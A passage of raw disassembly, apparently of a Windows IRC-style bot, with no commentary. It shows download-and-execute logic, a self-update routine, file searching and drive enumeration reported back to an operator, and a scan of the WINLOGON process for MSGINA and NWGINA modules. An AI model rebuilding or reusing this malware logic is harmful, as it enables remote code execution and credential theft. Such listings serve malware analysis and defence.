		mov	[ebp+eax+var_810], cl
		inc	eax
		cmp	cl, bl
		jnz	short loc_402F53
		lea	edi, [ebp+var_810]
		dec	edi


loc_402F6D:				; CODE XREF: sub_402C2F+344j
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jnz	short loc_402F6D
		mov	esi, offset asc_422B08 ; " "
		lea	eax, [ebp+var_18C]
		movsw
		mov	edx, eax


loc_402F84:				; CODE XREF: sub_402C2F+35Aj
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_402F84
		lea	edi, [ebp+var_810]
		sub	eax, edx
		dec	edi


loc_402F94:				; CODE XREF: sub_402C2F+36Bj
		mov	cl, [edi+1]
		inc	edi
		cmp	cl, bl
		jnz	short loc_402F94
		mov	ecx, eax
		shr	ecx, 2
		mov	esi, edx
		rep movsd
		mov	ecx, eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_810]
		push	eax
		and	ecx, 3
		push	ebx
		rep movsb
		call	dword_422044	; CreateProcessA
		cmp	eax, 1
		lea	eax, [ebp+var_810]
		push	eax
		lea	eax, [ebp+var_610]
		jnz	short loc_402FE5
		push	offset aDownloadApplic ; "[DOWNLOAD]: Application succesfully exe"...
		jmp	loc_4030F0
; ---------------------------------------------------------------------------


loc_402FE5:				; CODE XREF: sub_402C2F+3AAj
		push	offset aDownloadExecut ; "[DOWNLOAD]: Execution	failed:	Error exe"...
		jmp	loc_4030F0
; ---------------------------------------------------------------------------


loc_402FEF:				; CODE XREF: sub_402C2F+205j
		test	edi, edi
		mov	[ebp+var_4], edi
		fild	[ebp+var_4]
		jge	short loc_402FFF
		fadd	dbl_422B68


loc_402FFF:				; CODE XREF: sub_402C2F+3C8j
		test	esi, esi
		fmul	dbl_422B60
		push	ecx
		push	ecx
		fstp	[esp+880h+var_880]
		lea	eax, [ebp+var_28C]
		mov	[ebp+var_4], esi
		fild	[ebp+var_4]
		push	eax
		jge	short loc_403021
		fadd	dbl_422B68


loc_403021:				; CODE XREF: sub_402C2F+3EAj
		fmul	dbl_422B60
		push	ecx
		push	ecx
		lea	eax, [ebp+var_610]
		fstp	[esp+88Ch+var_88C]
		push	offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
		push	eax
		call	sub_416905
		add	esp, 1Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_403065
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		add	esp, 14h


loc_403065:				; CODE XREF: sub_402C2F+414j
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_24]
		stosd
		stosd
		push	11h
		stosd
		pop	ecx
		stosd
		xor	eax, eax
		lea	edi, [ebp+var_68]
		rep stosd
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		push	ebx
		push	ebx
		push	30h
		push	ebx
		push	ebx
		push	ebx
		lea	eax, [ebp+var_28C]
		xor	esi, esi
		push	eax
		inc	esi
		push	ebx
		mov	[ebp+var_5C], (offset asc_422B08+2)
		mov	[ebp+var_68], 44h
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], bx
		call	dword_422044	; CreateProcessA
		cmp	eax, esi
		jnz	short loc_4030D0
		call	dword_43A4BC	; WSACleanup
		call	sub_407534
		push	ebx
		call	dword_422040	; ExitProcess


loc_4030D0:				; CODE XREF: sub_402C2F+48Dj
		lea	eax, [ebp+var_28C]
		push	eax
		push	offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
		jmp	short loc_4030EA
; ---------------------------------------------------------------------------


loc_4030DE:				; CODE XREF: sub_402C2F+45j
		lea	eax, [ebp+var_38C]
		push	eax
		push	offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."


loc_4030EA:				; CODE XREF: sub_402C2F+4ADj
		lea	eax, [ebp+var_610]


loc_4030F0:				; CODE XREF: sub_402C2F+3B1j
					; sub_402C2F+3BBj
		push	eax
		call	sub_416905
		add	esp, 0Ch
		cmp	[ebp+var_74], ebx
		jnz	short loc_40311E
		push	ebx
		push	[ebp+var_70]
		lea	eax, [ebp+var_610]
		push	eax
		lea	eax, [ebp+var_40C]
		push	eax
		push	[ebp+var_410]
		call	sub_405D20
		add	esp, 14h


loc_40311E:				; CODE XREF: sub_402C2F+4CDj
		lea	eax, [ebp+var_610]
		push	eax
		call	sub_401ECD
		pop	ecx


loc_40312B:				; CODE XREF: sub_402C2F+1F8j
					; sub_402C2F+295j
		push	[ebp+var_C]
		call	dword_43A3FC	; InternetCloseHandle
		push	[ebp+var_8C]
		call	sub_41397A


loc_40313F:				; CODE XREF: sub_402C2F+C2j
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_402C2F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403148	proc near		; CODE XREF: sub_409806+568Bp
					; sub_409806+57DEp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_417234
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_403148	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403162	proc near		; CODE XREF: sub_403266+66p
					; sub_403266+97p ...

var_40		= byte ptr -40h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		and	[ebp+var_4], 0
		push	esi
		push	edi
		push	0Ch
		mov	esi, offset dword_438A7C
		pop	ecx
		xor	eax, eax
		mov	edi, esi
		rep stosd
		stosw
		lea	edi, [ebp+var_40]
		push	ebx


loc_403182:				; CODE XREF: sub_403162+50j
					; sub_403162+56j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417280
		add	cl, 30h
		mov	[edi], cl
		inc	edi
		mov	[ebp+arg_0], eax
		or	eax, edx
		mov	[ebp+var_8], ebx
		mov	[ebp+arg_4], edx
		jz	short loc_4031BA
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		push	3
		cdq
		pop	ecx
		idiv	ecx
		test	edx, edx
		jnz	short loc_403182
		mov	byte ptr [edi],	2Ch
		inc	edi
		jmp	short loc_403182
; ---------------------------------------------------------------------------


loc_4031BA:				; CODE XREF: sub_403162+40j
		mov	eax, esi
		pop	ebx
		jmp	short loc_4031C4
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_403162+68j
		mov	cl, [edi]
		mov	[eax], cl
		inc	eax


loc_4031C4:				; CODE XREF: sub_403162+5Bj
		dec	edi
		lea	ecx, [ebp+var_40]
		cmp	edi, ecx
		jnb	short loc_4031BF
		and	byte ptr [eax],	0
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_403162	endp


; =============== S U B	R O U T	I N E =======================================



sub_4031D5	proc near		; CODE XREF: sub_403381+3Ep
					; sub_403381+74p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_43A31C	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_403218
		dec	eax
		jz	short loc_403212
		dec	eax
		dec	eax
		jz	short loc_40320C
		dec	eax
		jz	short loc_403206
		dec	eax
		jz	short loc_403200
		dec	eax
		jz	short loc_4031FA
		mov	eax, offset a?	; "?"
		retn
; ---------------------------------------------------------------------------


loc_4031FA:				; CODE XREF: sub_4031D5+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_403200:				; CODE XREF: sub_4031D5+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_403206:				; CODE XREF: sub_4031D5+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_40320C:				; CODE XREF: sub_4031D5+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_403212:				; CODE XREF: sub_4031D5+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_403218:				; CODE XREF: sub_4031D5+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4031D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40321E	proc near		; CODE XREF: sub_403266+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_43A398
		test	eax, eax
		jz	short loc_403253
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_403253:				; CODE XREF: sub_40321E+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_40321E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403266	proc near		; CODE XREF: sub_403381+17p
					; sub_412AEE+1BDp

var_1B0		= byte ptr -1B0h
var_130		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= byte ptr -30h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_30]
		push	eax
		call	sub_40321E
		pop	ecx
		pop	ecx
		push	6
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40333E
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40333E
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_40333E
		push	ebx
		push	0
		mov	ebx, 400h
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_417320
		push	edx
		push	eax
		call	sub_403162
		push	eax
		mov	edi, offset aSkb ; "%sKB"
		push	edi
		mov	esi, 80h
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_417320
		push	edx
		push	eax
		call	sub_403162
		push	eax
		push	edi
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_417320
		push	edx
		push	eax
		call	sub_403162
		push	eax
		push	edi
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 18h
		pop	ebx
		jmp	short loc_40336D
; ---------------------------------------------------------------------------


loc_40333E:				; CODE XREF: sub_403266+2Cj
					; sub_403266+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_1B0]
		push	esi
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_130]
		push	esi
		push	eax
		call	sub_416905
		lea	eax, [ebp+var_B0]
		push	esi
		push	eax
		call	sub_416905
		add	esp, 18h


loc_40336D:				; CODE XREF: sub_403266+D6j
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_1B0]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_403266	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403381	proc near		; CODE XREF: sub_403440+Bj
					; sub_403440+51p

var_500		= byte ptr -500h
var_380		= byte ptr -380h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_500]
		push	ebx
		push	eax
		call	sub_403266
		pop	ecx
		pop	ecx
		push	60h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_180]
		rep movsd
		push	7
		mov	edi, offset aFailed ; "failed"
		lea	esi, [ebp+var_80]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	short loc_4033E1
		push	ebx
		push	ebx
		call	sub_4031D5
		pop	ecx
		push	eax
		push	offset aMainSDriveSFai ; "[MAIN]: %s Drive (%s): Failed	to stat, "...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		jmp	short loc_403415
; ---------------------------------------------------------------------------


loc_4033E1:				; CODE XREF: sub_403381+3Aj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_4031D5
		pop	ecx
		push	eax
		push	offset aMainSDriveSSTo ; "[MAIN]: %s Drive (%s): %s total, %s fre"...
		lea	eax, [ebp+var_380]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 20h


loc_403415:				; CODE XREF: sub_403381+5Ej
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_380]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		lea	eax, [ebp+var_380]
		push	eax
		call	sub_401ECD
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403381	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403440	proc near		; CODE XREF: sub_409806+4CD5p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		jz	short loc_403450
		pop	ebp
		jmp	sub_403381
; ---------------------------------------------------------------------------


loc_403450:				; CODE XREF: sub_403440+8j
		push	ebx
		push	esi
		push	eax
		push	eax
		call	dword_43A440	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_416DAF
		pop	ecx
		mov	ebx, eax
		push	ebx
		push	esi
		mov	[ebp+arg_C], ebx
		call	dword_43A440	; GetLogicalDriveStringsA
		cmp	byte ptr [ebx],	0
		jz	short loc_4034B3
		push	edi


loc_403477:				; CODE XREF: sub_403440+6Dj
		push	4
		mov	edi, offset aA	; "A:\\"
		mov	esi, ebx
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	short loc_403499
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_403381
		add	esp, 10h


loc_403499:				; CODE XREF: sub_403440+45j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_40349E:				; CODE XREF: sub_403440+63j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_40349E
		sub	eax, edx
		lea	ebx, [ebx+eax+1]
		cmp	[ebx], cl
		jnz	short loc_403477
		mov	ebx, [ebp+arg_C]
		pop	edi


loc_4034B3:				; CODE XREF: sub_403440+34j
		push	ebx
		call	sub_416C97
		pop	ecx
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_403440	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034BE	proc near		; DATA XREF: sub_40FAD0+14o

var_2B8		= dword	ptr -2B8h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43B24C
		call	dword_43A4B0	; closesocket
		call	sub_413827
		call	dword_43A4BC	; WSACleanup
		call	dword_43A4BC	; WSACleanup
		mov	ebx, dword_422000
		push	64h
		call	ebx	; Sleep
		xor	eax, eax
		lea	edi, [ebp+var_10]
		stosd
		stosd
		stosd
		stosd
		push	11h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_54]
		rep stosd
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+var_158]
		xor	edi, edi
		push	eax
		mov	[ebp+var_48], (offset asc_422B08+2)
		mov	[ebp+var_54], 44h
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	dword_422048	; GetSystemDirectoryA
		push	esi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	dword_42200C	; GetModuleFileNameA
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_158]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		push	edi
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		call	dword_422044	; CreateProcessA
		test	eax, eax
		jz	short loc_40357D
		push	64h
		call	ebx	; Sleep
		push	[ebp+var_10]
		mov	esi, dword_42202C
		call	esi	; CloseHandle
		push	[ebp+var_C]
		call	esi	; CloseHandle


loc_40357D:				; CODE XREF: sub_4034BE+A9j
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_438AB0
		mov	eax, [esp+2B8h+var_2B8]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	dword_422040	; ExitProcess
		int	3		; Trap to Debugger
sub_4034BE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40359E	proc near		; CODE XREF: sub_40359E+9Ep
					; sub_4036F0+C3p

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_10]
		mov	esi, 104h
		push	offset aS_2	; "%s\\*"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_416B5D
		mov	edi, dword_422054
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_0 ; "%s\\%s"
		jz	short loc_40365B


loc_4035EA:				; CODE XREF: sub_40359E+BBj
		test	[ebp+var_144], 10h
		jz	short loc_403647
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_40360E
		cmp	[ebp+var_117], 0
		jz	short loc_403647
		cmp	[ebp+var_117], 2Eh
		jz	short loc_403647


loc_40360E:				; CODE XREF: sub_40359E+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_34C]
		push	ebx
		push	esi
		push	eax
		call	sub_416B5D
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40359E
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_403647:				; CODE XREF: sub_40359E+53j
					; sub_40359E+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_422050	; FindNextFileA
		test	eax, eax
		jnz	short loc_4035EA


loc_40365B:				; CODE XREF: sub_40359E+4Aj
		push	[ebp+var_4]
		call	dword_42204C	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_416B5D
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4036E1


loc_403692:				; CODE XREF: sub_40359E+141j
		inc	[ebp+arg_14]
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+arg_10]
		lea	eax, [ebp+var_54C]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_416B5D
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_54C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_405D20
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_422050	; FindNextFileA
		test	eax, eax
		jnz	short loc_403692


loc_4036E1:				; CODE XREF: sub_40359E+F2j
		push	esi
		call	dword_42204C	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40359E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4036F0	proc near		; DATA XREF: sub_409806+31A3o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	esi, eax
		mov	ecx, 0A7h
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		lea	edx, [eax+1]
		xor	ebx, ebx


loc_403723:				; CODE XREF: sub_4036F0+38j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_403723
		sub	eax, edx
		cmp	[ebp+eax+var_115], 5Ch
		jnz	short loc_40374F
		lea	eax, [ebp+var_114]
		lea	edx, [eax+1]


loc_40373F:				; CODE XREF: sub_4036F0+54j
		mov	cl, [eax]
		inc	eax
		cmp	cl, bl
		jnz	short loc_40373F
		sub	eax, edx
		mov	[ebp+eax+var_115], bl


loc_40374F:				; CODE XREF: sub_4036F0+44j
		lea	eax, [ebp+var_218]
		push	eax
		push	offset aFindfileSearch ; "[FINDFILE]: Searching	for file: %s."
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_403794
		push	ebx
		push	[ebp+var_C]
		lea	eax, [ebp+var_49C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_405D20
		add	esp, 14h


loc_403794:				; CODE XREF: sub_4036F0+82j
		push	ebx
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		push	[ebp+var_C]
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40359E
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset aFindfileFilesF ; "[FINDFILE]: Files found: %d."
		push	eax
		call	sub_416905
		add	esp, 24h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4037F2
		push	ebx
		push	[ebp+var_C]
		lea	eax, [ebp+var_49C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_405D20
		add	esp, 14h


loc_4037F2:				; CODE XREF: sub_4036F0+E0j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_401ECD
		push	[ebp+var_10]
		call	sub_41397A
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_422010	; ExitThread
		int	3		; Trap to Debugger
sub_4036F0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403810	proc near		; CODE XREF: sub_403DEF+ABp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_422060
		push	edi
		mov	ebx, 100h
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_42205C
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4392B8	; ZwQuerySystemInformation
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		push	ecx
		push	eax
		push	ebp
		push	10h
		mov	[esp+38h+var_C], eax
		call	dword_4392B8	; ZwQuerySystemInformation
		test	eax, eax
		jnz	short loc_4038FD
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4038FD
		xor	ecx, ecx
		inc	ecx
		cmp	eax, ecx
		mov	ebx, ebp
		mov	[esp+28h+var_18], ecx
		jb	short loc_4038FD


loc_403899:				; CODE XREF: sub_403810+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4038F0
		push	0
		push	0
		call	dword_439AC0	; RtlCreateQueryDebugBuffer
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_439AC4	; RtlQueryProcessDebugInformation
		test	eax, eax
		jnz	short loc_4038E1
		mov	eax, [edi+60h]
		mov	[esp+28h+var_8], eax
		lea	eax, [edi+80h]
		push	offset aWinlogon ; "WINLOGON"
		push	eax
		call	sub_417456
		pop	ecx
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403915


loc_4038E1:				; CODE XREF: sub_403810+AAj
		test	edi, edi
		jz	short loc_4038EC
		push	edi
		call	dword_439AC8	; RtlDestroyQueryDebugBuffer


loc_4038EC:				; CODE XREF: sub_403810+D3j
		mov	eax, [esp+28h+var_10]


loc_4038F0:				; CODE XREF: sub_403810+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_403899


loc_4038FD:				; CODE XREF: sub_403810+6Dj
					; sub_403810+7Aj ...
		xor	edi, edi


loc_4038FF:				; CODE XREF: sub_403810+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_422058	; RtlFreeHeap
		mov	eax, edi


loc_40390D:				; CODE XREF: sub_403810+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_403915:				; CODE XREF: sub_403810+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_40397E
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_40392B:				; CODE XREF: sub_403810+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_417456
		pop	ecx
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403992
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_417456
		pop	ecx
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_403970
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_403970:				; CODE XREF: sub_403810+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_40392B


loc_40397E:				; CODE XREF: sub_403810+10Fj
		test	edi, edi
		jz	short loc_403989
		push	edi
		call	dword_439AC8	; RtlDestroyQueryDebugBuffer


loc_403989:				; CODE XREF: sub_403810+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4038FF
; ---------------------------------------------------------------------------


loc_403992:				; CODE XREF: sub_403810+13Cj
		xor	eax, eax
		jmp	loc_40390D
sub_403810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403999	proc near		; CODE XREF: sub_403DEF+F0p

var_68		= byte ptr -68h
var_64		= dword	ptr -64h
var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_33		= byte ptr -33h
var_2F		= byte ptr -2Fh
